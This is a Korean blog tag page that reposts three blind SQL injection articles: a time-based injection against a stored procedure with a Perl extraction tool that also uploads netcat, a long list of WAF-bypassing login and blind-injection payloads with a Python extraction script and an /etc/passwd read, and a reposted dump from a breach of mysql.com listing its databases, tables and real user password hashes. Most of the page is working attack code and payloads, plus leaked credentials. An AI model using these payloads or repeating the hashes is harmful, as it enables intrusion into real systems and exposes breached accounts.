'blind sql injection'에 해당되는 글 5건

  1. 2012.03.20 Time Based Blind SQL Injection
  2. 2011.12.30 False SQL Injection and Advanced Blind SQL Injection (1)
  3. 2011.09.27 MySql.Com Hacked with Blind SQL Injection by Jackh4xor
2012.03.20 18:54

Time Based Blind SQL Injection

I am not going to talk about Blind SQL injection since this is fully documented across different web sites, check References section at the end of this blog.

The reason I am writing this blog is for two main purposes:

1. Bug Hunting: To explain the process I followed to discover a "not-easy-to-find" vulnerability.

2. Exploit form scratch: To release a tool to extract data from the Data base via SQL Blind injection.


Bug Hunting:

When I put the famous single quote in front of the form I got the well known message:

Microsoft OLE DB Provider for SQL Server
 error '80040e14'

Unclosed quotation mark before the character string '''.

Then, without any extra parsing to above error response, I started inserting the common ways of exploitation:
  • '+OR+'1'='1
  • '+OR+1=1--
  • '+having+1=1--
  • '+union (select 1 from table)--
  • etc
The first thing I noticed is that the spaces were being filtered but as explained in my previous SQLi post, you can easily bypass that by injecting a TAB (%09) instead of a space.

After bypassing the space restriction, I always got syntax errors like:


Incorrect syntax near the keyword 'OR'.

Incorrect syntax near the keyword 'having'.

Incorrect syntax near the keyword 'union'.

Which was telling me two things: first, my SQLi was being executed but with syntax errors and second that I was not in the common scenario where the injection is being placed after the WHERE clause:

select ..... where user='aa' OR 1=1

After a lot of testing without success, I just assumed I cannot inject any SQL command after the single quote, so, then I started inserting other chars like: ',' and... I got below error:

Procedure or function get_Etiqueta has too many arguments specified.

Then I realized we were dealing with a Stored Procedure which in fact was injectable, this could explain the restrictions and therefore the syntax error messages. Then I decide a new way of injection (below is the value inserted in the vulnerable POST parameter):

';<my_own_sql_query>;--

Above injection is saying, complete the current requestexecute my own SQL commandand comment out the rest of the string.

When executed using fake table and field:

'; select xxx from table tabla'--

I did not get any error, just redirected back to main Login page. Then I realized we were not getting any responses from the DB and therefore in a Blind SQL Injection scenario, so I decided to use the famousWAITEFOR DELAY command from MSSQL to validate if my attempts were being executed in the server side, so I sent:

0';WAITFOR%09DELAY%09'0:0:15'

And voila!!! The browser waits 15 seconds to get the response from the Server!! Now we have identified the BUG, so, how can we exploit it? Let's go to the next section.

Exploit from Scratch.

I decided to use sqlmap or sqlninja to dump the database or to get a remote shell, but none works for me, just for one reason, those tools have their own methods to bypass filters, but unfortunately, the TAB (%09) trick is not handled by them and therefore all my injections were being rejected. It was a mess to adjust their tools so I decided to keep improving my own tools and come up with Regalado-blindSQL.pl perl script.

The main features of the tool are as follows:
  • Create a SQL procedure to assign the SQL query result to a variable.
  • The tool, iterates to each char from the result and compare it with the ASCII table to identify its value, if the value is found, the response will be delay by 10 seconds, this way the tool can identify if a char was identified.
  • Write output to a log file.
  • Implements netcat upload feature from Sqlninja tool, just changing the bypass technique and the Libraries used to established the SSL Connection.
Below the script to identify the chars in the response:

1. my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .
2. " if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .
3. " else waitfor delay '0:0:1'";

At Line 1, we create the variable @s and assign it the result of the $sql being executed.
At Line 2, the first char (denoted by $j) is subtracted from the string acquired and compare with the first value in the ASCII Table ($i).
This loops will repeat until the char is found and then $j will be incremented to move to the next char in the string.

The main loop to get the string, parse each char and compare it with ASCII TABLE is here:

while (length ($dato) > 0){ #Keep searching until no more data found
$dato ="";
for $j (1 .. 100){#This is the maximum text length to retrieve, although the tool knows when the string is complete 
print "\t\nIdentificando char number: $j\n";
open (FILE,">>", "output.txt") or die $!; #Creating log file

for $i (32 .. 126){ #ASCII TABLE Printable chars only
$g = $i;
print "\t\nValidating if the letter exist: " . chr($i) . "\n";
my $cmd = " declare \@s varchar(100) select TOP 1 \@s = $sql" .
" if (ascii(substring(\@s,$j,1))) =". $i ." waitfor delay '0:0:10' " .
" else waitfor delay '0:0:1'";

send_request($prefix . $cmd . $postfix); #Send HTTPS request
if (check_time() eq "encontrado") { #validates the response to know if the car was detected.
last;
}
}

if ($r eq "encontrado"){
print "\t\nGetting Contenido ... " . $dato . "\n";
print FILE "Getting Contenido ...: " . $dato . "\n";
close(FILE);
}
else{ #No encontro ningun caracter y esto puede significr el fin de la palabra identificada

print "\t\n*********END OF CONTENT EXTRACTTION ... Moving to next one.\n";
last;
}
}
print "\t\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi******************\n";
print FILE "\n****************Content FOUND: " . $dato . " for table/field: $tb/$fi****************\n";

$sql = $sql . " and $fi not like '". $dato . "'"; #preparing the next string to retrieve.
}
print "\t\nEND OF EXECUTION check output.txt log file.\n\n";

Finally, the tools is able to identify:
  • DB Name
  • DB User
  • DB Version
  • List of tables from current DB
  • List of fields from specific table
  • Content of tables
  • Upload netcat via sqlninja methods.
IMPORTANT: The tool DOES NOT FIND vulnerabilities, it assumes you already found one and need to leverage the exploitation. Being this said, you might need to change the $prefix and $postfix variables within the tool to adjust based on the way your application is exploitable.

References:
https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29


출처 : danuxx.blogspot.com

Trackback 0 Comment 0
2011.12.30 10:35

False SQL Injection and Advanced Blind SQL Injection

#########################################################################
#                                                                       #
# Exploit Title: False SQL injection and advanced blind SQL injection   #
# Date: 21/12/2011                                                      #
# Author: wh1ant                                                        #
#                                                                       #
#########################################################################



이 문서는 SQL injection 공격이 웹 방화벽이나 기타 보안 솔루션 방어 우회가 가능하다는걸 공개하기 위해 작성하였다.
한국 웹 방화벽을 대상으로 테스트 한 결과 대부분의 SQL injection 필터링 우회가 가능하였다.
이 문서를 보기 위해서는 기본적인 MySQL 에 대한 이해가 필요하다.
필자는 이 문서에서 인증 공격에 사용되는 SQL injection 용어를 두가지로 분류 할것인데 일반직인 SQL injection이 True SQL injection 이고
새롭게 보여줄 공격이 False SQL injection 이다. 하지만 True SQL injection만 해도 이 문서에서는 독특한 공격으로 보여줄 것이다.
그리고 정확히 얘기 하자면 Blind SQL injection 공격을 말하는 True/False SQL injection 이랑은 전혀 다른 공격이다.
이번에 직접 공격한 서버는 디폴트 상태에서 테스트 했으며, 버전은 다음과 같다.

ubuntu server 11.04
mysql 5.1.54-1
Apache 2.2.17
PHP 5.3.5-1

웹 서버의 테스트 코드는 다음과 같다.

<?php

/*
create database injection_db;
use injection_db;
create table users(num int not null, id varchar(30) not null, password varchar(30) not null, primary key(num));
insert into users values(1, 'admin', 'ad1234');
insert into users values(2, 'wh1ant', 'wh1234');
insert into users values(3, 'secuholic', 'se1234');

*** login.php ***
*/

if(empty($_GET['id']) || empty($_GET['password'])){
  echo "<html>";
  echo "<body>";
  echo "<form name='text' action='login.php' method='get'>";
  echo "<h4>ID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type='text' name='id'><br>";
  echo "PASS<input type='password' name='password'><br></h4>";
  echo "<input type='submit' value='Login'>";
  echo "</form>";
  echo "</body>";
  echo "</html>";
}

else{
  $id = $_GET['id'];
  $password = $_GET['password'];

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'pass';
  $database = 'injection_db';

  $db = mysql_connect($dbhost, $dbuser, $dbpass);
  mysql_select_db($database,$db);
  $sql = mysql_query("select * from users where id='$id' and password='$password'") or die (mysql_error());

  $row = mysql_fetch_array($sql);

  if($row[id] && $row[password]){
    echo "<font color=#FF0000><h1>"."Login sucess"."</h1></u><br>";
    echo "<h3><font color=#000000>"."Hello, "."</u>";
    echo "<font color=#D2691E>".$row[id]."</u></h3><br>";
  }
  else{
    echo "<script>alert('Login failed');</script>";
  }
  mysql_close($db);
}

?>



일단 기본적인 SQL injection 공격은 다음과 같다.
' or 1=1#

위의 공격 코드가 일바적인 SQL injection이며 필자는 이를 True SQL injection 으로 분류 한다.
로그인할 때 select 문을 이용하여 id='' 와 password=''를 확인하게 되는데 이때 ''를 0으로 생각하면
이 문서를 더 쉽게 이해할 수 있다. 빈 공간은 0과 같기 때문에 = 연산으로 참이 되어 공격이 가능하다.
결국 다음과 같은 True SQL injection은 로그인를 성공 한다.
'=0#

이것을 계속 응용하면 다음과 같은 공격도 가능하다.
이것은 -1보다 0이 더 크기 때문에 공격이 가능한 것이다.
'>-1#

또한 0이 1보다 작기 때문에 이것도 로그인이 가능하다.
'<1#

꼭 숫자가 한자리만 필요한건 아니다. 다음과 같이 연속적으로 사용이 가능하다.
1'<99#

비교 연산도 마찬가지 이다. 0=1은 0이 될 것이고 0이된 결과 값으로 id=''=0 참이 된다.
'=0=1#

또한 서로 값이 같아야 하는 비교 연산도 있다.
'<=>0#

이렇게 비교 연산을 이용하면 얼마든지 추가 응용이 가능한 공격 이다.
'=0=1=1=1=1=1#
'=1<>1#
'<>1#
1'<>99999#
'!=2!=3!=4#



이번에는 False SQL injection을 볼 차례이다. 다음은 공격이 아닌 MySQL 에서 사용되는 명령어 이다.

mysql> select * from users;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.01 sec)

별 문제점 없이 테이블에 있는 내용을 출력하는 모습이다.
다음은 id에 아무것도 입력을 안했을 때의 내용이다.

mysql> select * from users where id='';
Empty set (0.00 sec)

당연히 id 필드에 해당되는 문자열이 없으니 출력될 내용이 없다.
사실 MySQL에서 문자열 넣는 부분에 숫자를 입력해도 입력이 되는 경우를 많이 보았다.
그 바탕으로 테스트한 결과가 다음과 같은 예 이다.

mysql> select * from users where id=0;
+-----+-----------+----------+
| num | id        | password |
+-----+-----------+----------+
|   1 | admin     | ad1234   |
|   2 | wh1ant    | wh1234   |
|   3 | secuholic | se1234   |
+-----+-----------+----------+
3 rows in set (0.00 sec)

id에 숫자 0을 입력하면 테이블의 모든 내용이 출력되는걸 볼 수 있다.
이것이 False SQL injection의 기본이다. 결국 0의 결과 값을 가지고 로그인이 가능하다는 뜻이 된다.
0이 나오게 하려면 정수를 처리하는 뭔가가 필요한데 이 때 주로 사용되는게 비트 연산이과 사칙 연산이다.
일단 비트 연산을 예로들어 보자.



OR 비트 연산는 프로그래밍을 해본 사람이라면 대부분 알고 있을 것이다.
그리고 아까 말 했듯이 ''는 0이라 했음으로 0과 0을 OR 비트 연산을 하면 결과 값이 0이 되므로
아래와 같은 연산은 결국 False SQL injection을 성공하게 된다.
'|0#

보통 프로그래밍 언어에는 OR 비트 연산이 있으면 AND 비트 연산도 있는 경우가 많기 때문에 다음과 같은 공격을 이용해 로그인이 가능하다.
'&0#

이것은 XOR 연산을 이용한 공격 이다.
'^0#

또한 shift 비트 연산을 통하여 공격도 가능하다.
'<<0#
'>>0#

이런 비트 연산을 응용하면 다음과 같은 여러 공격이 가능할 것이다.
'&''#
'%11&1#
'&1&1#
'|0&1#
'<<0|0#
'<<0>>0#



이번에는 사칙 연산을 이용한 False SQL injection을 보여 주도록 하겠다.
''을 사칙 연산을 함으로 0이 나오게 하면 공격이 가능하다.
아래는 사칙 연산을 사용한 False SQL injection 공격 예 이다.

'*9#
곱하기.

'/9#
나누기.

'%9#
나머지.

'+0#
더하기.

'-0#
빼기.

여기서 주의 할것은 플러스 연산을 할 때 1 이상이 오면 값이 증가 함으로 1이상의 값이 오면 안된다.
마이너스도 1 이상의 값이 오면 결과 값이 마이너스가 됨으로 공격 실패가 된다.
물론 플러스, 마이너스 연산을 정확히 하여 최종적으로 결과 값이 0이 나오게 하면 큰 문제는 없다.
또한 이것들도 길이 제한 없이 연속적으로 사칙 연산을 시용할 수 있다.
'+2+5-7#
'+0+0-0#
'-0-0-0-0-0#
'*9*8*7*6*5#
'/2/3/4#
'%12%34%56%78#
'/**/+/**/0#
'-----0#
'+++0+++++0*0#




다음은 함수를 이용한 공격이다. 여기서 모든 종류의 함수를 다 설명하기는 힘들다.
그리 어려운 공격이 아니므로 이 문서에서 설명하지 않는 함수를 사용하여 얼마든지
True, False SQL injection 공격이 가능하다. 그리고 이번공격은 True SQL injection 인지
False SQL injection 인지는 함수가 결정 하는것이 아니라 함수가 리턴 후 마지막에 사용되는 연산에 달렸다.
'<hex(1)#
'=left(0x30,1)#
'=right(0,1)#
'!=curdate()#
'-reverse(0)#
'=ltrim(0)#
'<abs(1)#
'*round(1,1)#
'&left(0,0)#
'*round(0,1)*round(0,1)#

또한 함수 이름과 괄호 중간에 공백이 들어가도 공격이 가능하다.
다만 몇몇 함수만 그럴뿐 모든 함수가 중간에 공백이 들어가도 되는건 아니다.
'=upper     (0)#



이번에는 SQL 키워드를 이용한 공격이다. 이것도 경우에 따라 True, False SQL injection 공격이 된다.
' <1 and 1#
'xor 1#
'div 1#
'is not null#
admin' order by'
admin' group by'
'like 0#
'between 1 and 1#
'regexp 1#




아이디 입력하는 폼과 패스워드 입력하는 폼에 주석을 빼고 True, False SQL injection 공격도 가능하다.
ID와 password를 넣는 부분에 #, --, /**/ 같은 주석을 넣지 않은 공격은 웹 방화벽을
우회하는데 더 효과적일 것이다.
ID  : '='
PASS: '='

ID  : '<>'1
PASS: '<>'1

ID  : '>1='
PASS: '>1='

ID  : 0'='0
PASS: 0'='0

ID  : '<1 and 1>'
PASS: '<1 and 1>'

ID  : '<>ifnull(1,2)='1
PASS: '<>ifnull(1,2)='1

ID  : '=round(0,1)='1
PASS: '=round(0,1)='1

ID  : '*0*'
PASS: '*0*'

ID  : '+'
PASS: '+'

ID  : '-'
PASS: '-'

ID  :'+1-1-'
PASS:'+1-1-'



문서에서 설명하는 모든 공격들을 괄호를 이용하여 공격하면 보안 솔루션을 우회하는데
더 효과적일 것이다.
'+(0-0)#
'=0<>((reverse(1))-(reverse(1)))#
'<(8*7)*(6*5)*(4*3)#
'&(1+1)-2#
'>(0-100)#



일반적인 SQL injection 공격을 다시 보도록 하자.
' or 1=1#

이것을 16진수로 변환해 공격하면 다음과 같다.
http://127.0.0.1/login.php?id=%27%20%6f%72%20%31%3d%31%23&password=1234

위와 같은 공격은 기본적으로 필터링되기 때문에 좋은 공격이 아니며
%20 공백 대신 %09같은 TAB 으로 변경하여 필터링 우회를 시도할 것이다.
사실 여기서 %09 말고 %a0 값을 넣어도 공격이 가능하다.
공백을 대신해서 공격 가능한 값은 다음과 같다.
%09
%0a
%0b
%0c
%0d
%a0
%23%0a
%23%48%65%6c%6c%6f%20%77%6f%6c%72%64%0a

다음은 필터링 우회를 시도하기 위해 %20을 %a0로 변환하여 공격하는 한 예 이다.
http://127.0.0.1/login.php?id=%27%a0%6f%72%a0%31%3d%31%23&password=1234



이번에 보여줄 공격은 Blind SQL injection 공격으로, 웹 방화벽을 우회하는 공격 까지는
아니지만 단지 공격자들이 로그인 페이지 에서도 Blind SQL injection 공격이 가능 하다는 생각이
적은거 같아 이번 문서에 작성하기로 하였다.

다음과 같은 공격 코드를 로그인 페이지에 넣으면 로그인이 되는과 동시에
패스워드가 노출이 되는걸 확인할 수 있다.
'union select 1,group_concat(password),3 from users#

이 공격 코드는 /etc/passwd 정보를 가지고 온다.
'union select 1,load_file(0x2f6574632f706173737764),3 from users#

구지 union select 문장말고도 and 연산을 이용하여 Blind SQL injection 공격도 가능하다.
다음과 같은 코드를 사용해서 로그인이 성공하면 레코드가 총 3개 라는걸 확인할 수 있다.
admin' and (select count(*) from users)=3#



이번에는 웹 방화벽을 우회하여 Blind SQL injection 공격을 해 보도록 하자.
다음은 Blind SQL injection 공격에 취약한 코드 이다.

<?php

  /*** info.php ***/

  $n = $_GET['num'];
  if(empty($n)){
    $n = 1;
  }

  $dbhost = 'localhost';
  $dbuser = 'root';
  $dbpass = 'root';
  $database = 'injection_db';

  $db = mysql_connect($host, $dbuser, $dbpass);
  mysql_select_db($database,$db);
  $sql = mysql_query("select * from `users` where num=".$n) or die (mysql_error());
  $info = @mysql_fetch_row($sql);
  echo "<body bgcolor=#000000>";
  echo "<h1><font color=#FFFFFF>wh1ant</font>";
  echo "<font color=#2BF70E> site for blind SQL injection test</h1><br>";
  echo "<h1><font color=#2BF70E>num: </font><font color=#D2691E>".$info[0]."</font></h1>";
  echo "<h1><font color=#2BF70E>user: </font><font color=#D2691E>".$info[1]."</font>";
  echo "<body>";
  mysql_close($db);

?>



위와 같은 취약점 코드가 있을 때 기본적인 Blind SQL injection 은 다음과 같을 것이다.

http://127.0.0.1/info.php?num=1 and 1=0
http://127.0.0.1/info.php?num=1 and 1=1

하지만 = 연산을 사용하여도 Blind SQL injection이 가능 하다.

http://127.0.0.1/info.php?num=1=0
http://127.0.0.1/info.php?num=1=1

여기서 확실히 말하지만 절대 = 연산만 되는것은 아니다.

http://127.0.0.1/info.php?num=1<>0
http://127.0.0.1/info.php?num=1<>1

http://127.0.0.1/info.php?num=1<0
http://127.0.0.1/info.php?num=1<1

http://127.0.0.1/info.php?num=1*0*0*1
http://127.0.0.1/info.php?num=1*0*0*0

http://127.0.0.1/info.php?num=1%1%1%0
http://127.0.0.1/info.php?num=1%1%1%1

http://127.0.0.1/info.php?num=1 div 0
http://127.0.0.1/info.php?num=1 div 1

http://127.0.0.1/info.php?num=1 regexp 0
http://127.0.0.1/info.php?num=1 regexp 1

http://127.0.0.1/info.php?num=1^0
http://127.0.0.1/info.php?num=1^1

공격 예:
http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)
http://127.0.0.1/info.php?num=0^(select position(0x61 in (select id from users where num=1))=1)
http://127.0.0.1/info.php?num=0^(reverse(reverse((select id from users where num=1)))=0x61646d696e)
http://127.0.0.1/info.php?num=0^(lcase((select id from users where num=1))=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select id from users where num=1)=0x61646d696e)
http://127.0.0.1/info.php?num=0^(id regexp 0x61646d696e)
http://127.0.0.1/info.php?num=0^(id=0x61646d696e)
http://127.0.0.1/info.php?num=0^((select octet_length(id) from users where num=1)=5)
http://127.0.0.1/info.php?num=0^((select character_length(id) from users where num=1)=5)

계속 찾으려 하면 시간이 오래 걸릴 거 같아 일단 이정도만 공격이 가능하다는걸 보여줬다.
Blind SQL injection 는 사람이 하기에는 힘들고 툴을 작성하여 사용하는게 더 효과적 이다. 
python 을 이용하여 만든 툴을 보여줄 것인데, ^(XOR) 비트 연산으로 공격하는 예제가 되겠다.
웹 방화벽 필터링을 최대한 우회 하기 위해 공백을 %0a로 변경 하였다.

#!/usr/bin/python

### blind.py ###

import urllib
import sys
import os



def put_data(true_url, true_result, field, index, length):
for i in range(1, length+1):
for j in range(32, 127):
attack_url = true_url + "^(%%a0locate%%a0%%a0(0x%x,(%%a0select%%a0%s%%a0%%a0from%%a0%%a0users%%a0where%%a0num=%d),%d)=%d)" % (j,field,index,i,i)
attack_open = urllib.urlopen(attack_url)
attack_result = attack_open.read()
attack_open.close()
if attack_result==true_result:
ch = "%c" % j
sys.stdout.write(ch)
break
print "\t\t",

def get_length(false_url, false_result, field, index):
i=0
while 1:
data_length_url = false_url + "^(%%a0(select%%a0octet_length%%a0%%a0(%s)%%a0from%%a0users%%a0where%%a0num%%a0=%%a0%d)%%a0=%%a0%d)" % (field,index,i)
data_length_open = urllib.urlopen(data_length_url)
data_length_result = data_length_open.read()
data_length_open.close()
if data_length_result==false_result:
return i
i+=1

url = "http://127.0.0.1/info.php"

true_url = url + "?num=1"
true_open = urllib.urlopen(true_url)
true_result = true_open.read()
true_open.close()
false_url = url + "?num=0"
false_open = urllib.urlopen(false_url)
false_result = false_open.read()
false_open.close()


print "num\t\tid\t\tpassword"
fields = "num", "id", "password"

for i in range(1, 4):
for j in range(0, 3):
length = get_length(false_url, false_result, fields[j], i)
length = put_data(false_url, true_result, fields[j], i, length)
print ""



아쉽게도 공격 테스트는 여기서 마치겠지만 필자 말고도 누군가 추가적으로 공격을 연구 한다면
얼마든지 공격 코드 개발이 가능할 것이다.
[EOF]



출처 : wh1ant.kr

Trackback 0 Comment 1
  1. 질문있는데 2013.05.08 07:31 address edit & del reply

    http://127.0.0.1/info.php?num=0^(locate(0x61,(select id from users where num=1),1)=1)

    이거를 적용하려면 f12에서 스크립에서 수정하는건가요?


    이거

2011.09.27 16:55

MySql.Com Hacked with Blind SQL Injection by Jackh4xor

The Mysql website offers database software, services and support for your business, including the Enterprise server, the Network monitoring and advisory services and the production support. The wide range of products include: Mysql clusters, embedded database, drivers for JDBC, ODBC and Net, visual database tools (query browser, migration toolkit) and last but not least the MaxDB- the open source database certified for SAP/R3. The Mysql services are also made available for you. Choose among the Mysql training for database solutions, Mysql certification for the Developers and DBAs, Mysql consulting and support. It makes no difference if you are new in the database technology or a skilled developer of DBA, Mysql proposes services of all sorts for their customers.


Vulnerable Target http://mysql.com/customers/view/index.html?id=1170
Host IP 213.136.52.29
Web Server Apache/2.2.15 (Fedora)
Powered-by PHP/5.2.13
Injection Type MySQL Blind
Current DB Web

Data Bases:

information_schema
bk
certification
c?ashme
cust_sync_interim
customer
dbasavings
downloads
feedback
glassfish_interface
intranet
kaj
license_customers
manual
manual_search
mem
mysql
mysqlforge
mysqlweb
news_events
partner_t?aining
partners
partners_bak
phorum5
planetmysql
qa_contribution
quickpoll
robin
rp
sampo
sampo_interface
sessions
softrax
softrax_interim
solutions
tco
test
track
track_refer
wb
web
web_control
web_projects
web_training
webwiki
wordpress
zack

Current DB: web

Tables:

xing_validation
v_web_submissions
userbk
user_extra
user  Columns: cwpid version lead_quality sfid industry address2 created last_modified lang notify newsletter gid title fax cell phone country zipcode state city address business company position lastname firstname passwd verified bounces email user_id
us_zip_state
us_area_state
unsub_log
trials
trial_external_log
trial_data
trial_alias
training_redirect
tag_blacklist
tag_applied
tag
support_feeds_DROP
support_entries_DROP
states
snapshots_builds
snapshots
sakilapoints
regions
quote_customer
quote
quicklinks
promo
product_releases
position
partner
paper_lead
paper_details_options
paper_details_old
paper_details
paper
newsletter_unsub
nav_sites
nav_items
mysql_history
mirror_status
mirror_country
mirror_continent
mirror
mailing_list_member
mailing_list
locks
lead_validity_rules
lead_source_xref
lead_source_external
lead_source
lead_routing_rule
lead_rep
lead_old
lead_note
lead_extra_old
lead_extra_new
lead_extra
lead_companies
lead_campaign_member
lead
language_strings
language_modules
imagecache
hall_of_fame
g_search_term
g_search_data
g_blog_data
forum_comment
forms
field_xref
field_options
field_match
email_blacklist
email_a_friend
drpl_manual_review
drpl_denied
drpl_check_log
drpl_cache
customer_meta_sets
customer_meta_set
customer_meta
customer
coupon_product
coupon_campaign_attribute
coupon_campaign
coupon
country
countries
campaign_type
campaign_topic
campaign_score
campaign_listdata
campaign_detail
business
bounces

Database : mysql

Table:

user_info
user     Column: Update_pri Insert_priv Select_priv Password User Host
time_zone_transition_type
time_zone_transition
time_zone_name
time_zone_leap_second
time_zone
tables_priv
slow_log
?ervers
procs_priv
proc
plugin
ndb_binlog_index
inventory
host
help_topic
help_relation
help_keyword
help_category
general_log
func
event
db
columns_priv

# mysql.user Data

Password                                                                     User            Host
wembaster     %
monitor         10.%
sys                %
sys               localhost
*06581D0A5474DFF4D5DA3CE0CD7702FA52601412      forumread     %
*0702AEBF8E92A002E95D40247776E1A67CD2CA3F     wb                %
*2A57F767D29295B3CB8D01C760D9939649483F85        flipper           10.%
*32F623705BFFFE682E7BD18D5357B38EF8A5BAA9     wordpress       %
*66A905D4110DF14B41D585FDBCE0666AD13DD8C1     nagios            %
*704EB56151317F27573BB4DDA98EDF00FFABAAF8     root              localhost
*ED1BDC19B08FD41017EE180169E5CEB2C77F941A     mysqlforge     %
*FD75B177FFEC3590FE5D7E8459B3DDC60AE8147B     webleads      10.%
00680dd718880337                                                        olof                %
077f61a849269b62                                                         qa_r               %
077f61a849269b62                                                         qa_rw             %
077f61a849269b62                                                         qa_adm          %
0c2f46ba6b87d4ea                                                         trials_admin    10.%
1856b9b03b5a6f47                                                         cacti               %
19519e95545509b5                                                        certification      %
1a39dcad63bbc7a6                                                        gf_mschiff        %
2277fd7d562ec459                                                         webslave        localhost
2277fd7d562ec459                                                         webslave          %
304404b114b5516c                                                        planetmysql_rw %
35e376451a87adb0                                                        planetmysql_ro  %
4e203d581b756a93                                                        webmaster     localhost
4e203d581b756a93                                                        webmaster        %
4e93479179a8ec93                                                        sysadm             %
575ec47e16c7e20e                                                        phorum5            %
575ec47e16c7e20e                                                        lenz                  %
5f340ec40a706f64                                                          robin                 %
61113da02d2c97a5                                                        regdata              %
616075f256f111ba                                                          myadmin        10.100.6.44
61711eea3de509ac                                                        merlin             127.0.0.1
6302de0909a369a1                                                        ebraswell           %
6b72b2824cc7f6fe                                                          mysqlweb          %
6ffd2b17498cdd44                                                          zack                 %
70599cf351c6f591                                                          repl                   %
740284817e3ed5a8                                                        webwiki             %
74c5529b41a97cc2                                                        web_projects

Databsae: web_control

Table:

system
system_command
service_request
run_control
request_daemon
rebuild_server
rebuild_queue
rebuild_control
quarterly_lead_report
newsletter_log
newsletter_control
ips
hosts  Columns:notes description name
dns_servers Columns: name internal ip

Database: certification

Tables:

signup
corpcustomers
certexamdata
certcandidatedata
certaccess

Database: wordpress

Tables:

wp_4_term_taxonom
wp_4_term_relationships
wp_4_posts
wp_4_postmeta
wp_4_options
wp_4_links
wp_4_comments
wp_3_terms
wp_3_term_taxonomy
wp_3_term_relationships
wp_3_posts
wp_3_postmeta
wp_3_options
wp_3_links
wp_3_comments
wp_2_terms
wp_2_term_taxonomy
wp_2_term_relationships
wp_2_posts
wp_2_postmeta
wp_2_options
wp_2_links
wp_2_comments
wp_1_terms
wp_1_term_taxonomy
wp_1_term_relationships
wp_1_posts
wp_1_postmeta
wp_1_options
wp_1_links
wp_1_comments
wp_11_terms
wp_11_term_taxonomy
wp_11_term_relationships
wp_11_posts
wp_11_postmeta
wp_11_options
wp_11_links
wp_11_comments
wp_10_terms
wp_10_term_taxonomy
wp_10_term_relationships
wp_10_posts
wp_10_postmeta
wp_10_options
wp_10_links
wp_10_comments
remove_queries

Database: bk

Table:

wp_backupterm_taxonomy
wp_backupterm_relationships
wp_backupposts
wp_backuppostmeta
wp_backupoptions
wp_backuplinks
wp_backupcomments

News Source : Jackh4xor



출처 : thehackernews.com

Trackback 0 Comment 0